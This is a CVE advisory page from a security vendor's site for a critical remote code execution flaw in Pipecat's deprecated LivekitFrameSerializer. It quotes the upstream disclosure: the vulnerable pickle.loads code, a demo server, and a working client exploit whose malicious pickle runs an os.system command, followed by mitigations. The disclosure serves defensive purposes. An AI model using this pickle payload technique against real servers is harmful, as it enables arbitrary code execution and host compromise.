HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.
  • CIGARPoint your coding agent at the right lines and cut its token bill by about a third.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.
  • Gauntlet benchmarkGuard tested with real coding agents: safe work runs, risky actions stop.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2025 62373 pipecat remote code execution by pickle
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard

Get HOL Guard for your computer

HOL Guard is a free desktop app that watches what coding agents such as Claude Code, Codex and Cursor run, read and install, and asks you before anything risky happens.

  • Download for macOS
  • Windows download
  • Linux download

Free. macOS 13+ on Apple silicon, Windows x64, Linux AppImage. Other ways to install

Star HOL Guard on GitHub to download
Runs on
macOS 13 or later on Apple silicon, Windows x64 and Linux x86_64.
Price
Free. Paid plans add Guard Cloud for teams. See pricing
Where your data stays
On your computer. Guard Cloud is optional.
Token savings
58.6% to 61.5% fewer tokens across three coding agents in our CIGAR benchmark.

HOL

HOL builds open infrastructure for AI agents: HOL Guard, a directory of AI plugins and MCP servers, an AI agent registry and the open HCS standards.

  • GitHub (opens in a new tab)
  • X (Twitter) (opens in a new tab)
  • YouTube (opens in a new tab)
  • Telegram (opens in a new tab)

HOL Guard

  • What is HOL Guard
  • Features
  • Cut coding agent token costs (CIGAR)
  • Install Guard
  • Download the desktop app
  • Pricing
  • Guard for teams
  • Compare Guard
  • Release notes

Guard for your AI tool

  • Guard for Claude Code
  • Guard for Codex
  • Guard for Cursor
  • Guard for GitHub Copilot CLI
  • Guard for OpenCode
  • Guard for Pi and Oh My Pi
  • Guard for Hermes
  • Guard for OpenClaw
  • All supported AI tools

Research and security

  • Gauntlet: Guard tested with real agents
  • CIGAR token benchmark
  • Research
  • AI security hub
  • Security advisories
  • Active CVEs in AI tools
  • AI agent security guides
  • Extensions and coverage

Plugins and MCP servers

  • Browse AI plugins
  • New plugin launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins

AI agent registry

  • Best AI agents
  • Best ERC-8004 agents
  • Best Virtuals agents
  • Best A2A agents
  • Best x402 payable agents
  • Submit an ERC-8004 contract
  • Feature your agent

Developers

  • Guard docs
  • Documentation index
  • Developer hub
  • Registry API reference
  • OpenAPI spec
  • Registry OpenAPI spec
  • Run in Postman (opens in a new tab)
  • HCS standards

Company

  • About HOL
  • Blog
  • Contribute to HOL
  • Guard contributors
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact

Copyright © 2026 HOL DAO LLC. All rights reserved.

  • Privacy
  • Terms of Service
Back to active CVEs
Critical · CVSS 9.8CVE-2025-62373GHSA-C2JG-5CP7-6WC7

Pipecat: Remote Code Execution by Pickle Deserialization Through LivekitFrameSerializerCVE-2025-62373

Answer in brief

CVE-2025-62373 records a Critical severity (CVSS 9.8) vulnerability in Pipecat: Remote Code Execution by Pickle Deserialization Through LivekitFrameSerializer. The current sources do not mark it as known exploited. The current feed maps pipecat-ai (pip), pipecat-ai (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Apr 23, 2026Updated Nov 16, 2026Source checked Nov 16, 2026First seen by HOL Oct 20, 2026Material review Nov 16, 2026
Upstream Advisory

Record context

Vulnerability class
Deserialization
EPSS
Not reported
CWE IDs
CWE-502
Source
GitHub Security Advisories
Source checked
Nov 16, 2026
References
7 linked sources
Open source record

Key facts

Risk
Critical · CVSS 9.8
Exploitation
Not marked as known exploited
Affected software
3 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 9.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps pipecat-ai (pip), pipecat-ai (pypi). Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:pipecat:pipecat:*:*:*:*:*:*:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
pipecat-aipip>=0.0.41,<0.0.940.0.94
pipecat-aipypi>=0.0.41 <0.0.940.0.94

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for pipecat-ai, pipecat-ai.
  2. 2Review the reported fix. Update pipecat-ai to 0.0.94; pipecat-ai to 0.0.94 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Apr 23, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Nov 16, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 20, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencepypi.org
  • GitHub security advisorygithub.com
Upstream source description

Remote Code Execution via Unsafe Deserialization in Pipecat's LivekitFrameSerializer ### Summary A critical vulnerability exists in Pipecat's `LivekitFrameSerializer` – an **optional, non-default, undocumented** frame serializer class (now deprecated) intended for LiveKit integration. The class's `deserialize()` method uses Python's `pickle.loads()` on data received from WebSocket clients without any validation or sanitization. This means that a malicious WebSocket client can send a crafted pickle payload to execute arbitrary code on the Pipecat server. The vulnerable code resides in `src/pipecat/serializers/livekit.py` (around line 73), where untrusted WebSocket message data is passed directly into `pickle.loads()` for deserialization. If a Pipecat server is configured to use LivekitFrameSerializer and is listening on an external interface (e.g. 0.0.0.0), an attacker on the network (or the internet, if the service is exposed) could achieve remote code execution (RCE) on the server by sending a malicious pickle payload. ### Details The `LivekitFrameSerializer` is a serializer meant to convert between Pipecat audio frames and LiveKit's audio frame format. **It is not enabled by default** – developers would have to explicitly use this serializer. In Pipecat version 0.0.90, this class was officially deprecated in favor of a safer `LiveKitTransport` method, but it remains in the code for backward compatibility. The vulnerability arises in how it handles incoming data: the `deserialize()` method blindly unpickles whatever byte stream it receives over the WebSocket. Below is a snippet illustrating the core issue in the `LivekitFrameSerializer.deserialize` implementation: Vulnerable code in src/pipecat/serializers/livekit.py: ```python async def deserialize(self, data: str | bytes) -> Frame | None: # ... (docstring omitted for brevity) audio_frame: AudioFrame = pickle.loads(data)["frame"] # Unsafely deserializing untrusted data return InputAudioRawFrame( audio=bytes(audio_frame.data), sample_rate=audio_frame.sample_rate, num_channels=audio_frame.num_channels, ) ``` Python's `pickle.loads` will execute arbitrary code if the input data is a maliciously crafted pickle object. In this case, an attacker can exploit the `LivekitFrameSerializer` by sending a pickle payload that, when deserialized, runs attacker-controlled code on the server. The serializer assumes the data contains a LiveKit `AudioFrame` object (possibly in a dictionary with key "frame"), but does not verify the content or source. As a result, any object with a malicious `__reduce__` or other pickle protocol methods will be executed upon deserialization. This is a known risk: pickle should never be used on untrusted data. In summary, whenever `LivekitFrameSerializer` is active, any client that can connect to the Pipecat WebSocket can send a specially crafted pickle binary. Upon receiving it, Pipecat will call `pickle.loads`, immediately executing the payload's code. This can lead to a full compromise of the Pipecat server process, allowing attackers to run arbitrary commands or take control of the host system with the privileges of the Pipecat service. ### Proof of Concept (PoC) The following proof-of-concept demonstrates how an attacker could exploit this vulnerability. It involves two steps: (1) running a Pipecat WebSocket server using the vulnerable serializer, and (2) sending a malicious pickle from a client. Start a Pipecat WebSocket server with the LivekitFrameSerializer enabled – for example, by binding the server to all network interfaces (0.0.0.0) on port 8765. In a Pipecat application, this might be done by specifying the LiveKit serializer in the WebSocket transport parameters. For illustration, the code snippet below starts a server: ```python import asyncio import websockets from pipecat.serializers.livekit import LivekitFrameSerializer serializer = LivekitFrameSerializer() async def handler(ws): """ websockets new-style handler: single argument (connection object). Path (if needed) is available via ws.path. """ try: data = await ws.recv() if isinstance(data, str): data = data.encode("utf-8") frame = await serializer.deserialize(data) print("deserialize returned:", frame) except Exception as e: print("deserialize raised:", repr(e)) async def main(): print("Starting server on 0.0.0.0:8765 (websockets new API handler)") async with websockets.serve(handler, "0.0.0.0", 8765): await asyncio.Future() # run forever if __name__ == "__main__": asyncio.run(main()) ``` In this setup, the server listens on ws://0.0.0.0:8765 (with a default path of /ws for WebSocket connections). It will use `LivekitFrameSerializer` for incoming frames, making it vulnerable to pickle-based attacks. Send a malicious pickle payload from a client – an attacker can now connect to the WebSocket and transmit a crafted pickle object that executes code. For instance, the payload below defines a class RCE whose `__reduce__` method will invoke `os.system("ls -l")`. When unpickled on the server, this will run the `ls -l` command (listing directory contents) on the server side: ```python import asyncio import pickle import websockets class RCE: def __reduce__(self): import os return (os.system, ("echo EXPLOITED > /tmp/pipecat_exploit || true",)) async def attack(): uri = "ws://127.0.0.1:8765" async with websockets.connect(uri) as ws: payload = pickle.dumps({"frame": RCE()}) await ws.send(payload) if __name__ == "__main__": asyncio.run(attack()) ``` In this PoC, the attacker's code opens a WebSocket connection to the Pipecat server and sends the pickled RCE object. On the server, the `LivekitFrameSerializer.deserialize()` method will call pickle.loads() on this data, which in turn triggers the `RCE.__reduce__` method. This executes the `os.system("ls -l")` command on the server. In a real attack, the payload could be crafted to perform any arbitrary actions (create a reverse shell, modify files, etc.) with the privileges of the Pipecat process. ### Impact If an application uses `LivekitFrameSerializer` and exposes the Pipecat WebSocket server to untrusted networks, an attacker can achieve remote code execution on the server with a single malicious message. This could lead to a complete compromise of the server: the attacker can execute operating system commands, read or modify data, install malware, or pivot to other systems. The severity of this vulnerability is high – any code execution vulnerability is critical, especially in a real-time communications server context. It's important to note that by default Pipecat does not use LivekitFrameSerializer (and in fact the class is deprecated), so only systems that explicitly opt into this serializer are affected. However, because the class exists in the codebase, users might inadvertently use it. Any such usage on a public-facing or even internal network service can be exploited by an attacker with network access to the service. The worst-case scenario is an internet-exposed Pipecat server using this serializer, which would allow remote exploitation by anyone with access to the WebSocket port. ### Mitigation Users of Pipecat should take the following actions to eliminate or reduce the risk of this vulnerability: 1. Avoid or replace unsafe deserialization: Ideally, do not use `LivekitFrameSerializer` at all given its use of unsafe pickle deserialization. Pipecat's maintainers have deprecated this class in favor of `LiveKitTransport`, which does not require explicit pickle usage. If users need to support LiveKit integration or any binary frame serialization, use safer alternatives: * Use standardized formats like JSON for simple structured data, or binary formats like Protocol Buffers or MessagePack for more complex data structures. These formats do not execute code upon parsing. * If users absolutely must use pickle (not recommended), implement a custom `pickle.Unpickler` with a restricted `find_class()` method. This can limit what classes and functions can be instantiated during unpickling (whitelisting only safe types), which can mitigate arbitrary code execution. However, even a restricted unpickler is risky and should be considered a last resort. 2. Improve network security configuration: Limit who can reach the Pipecat service. * Bind to localhost whenever possible. If the Pipecat server is intended for internal or single-machine use, use host="127.0.0.1" (or omit the host to default to localhost) instead of 0.0.0.0. This prevents external network access by default and significantly reduces exposure. * Require authentication and authorization on the WebSocket connection. If the use case allows, enforce that clients must authenticate (using tokens, API keys, or other means) before accepting and processing frames. This won't fix the underlying code issue, but it can restrict who is able to send potentially malicious data. In summary, the best mitigation is to stop using the vulnerable LivekitFrameSerializer altogether. If users require LiveKit functionality, upgrade to the latest Pipecat version and switch to the recommended `LiveKitTransport` or another secure method provided by the framework. Additionally, always follow secure coding practices: never trust client-supplied data, and avoid Python pickle (or similar unsafe deserialization) in network-facing components.

Quoted source text, attributed separately from HOL analysis.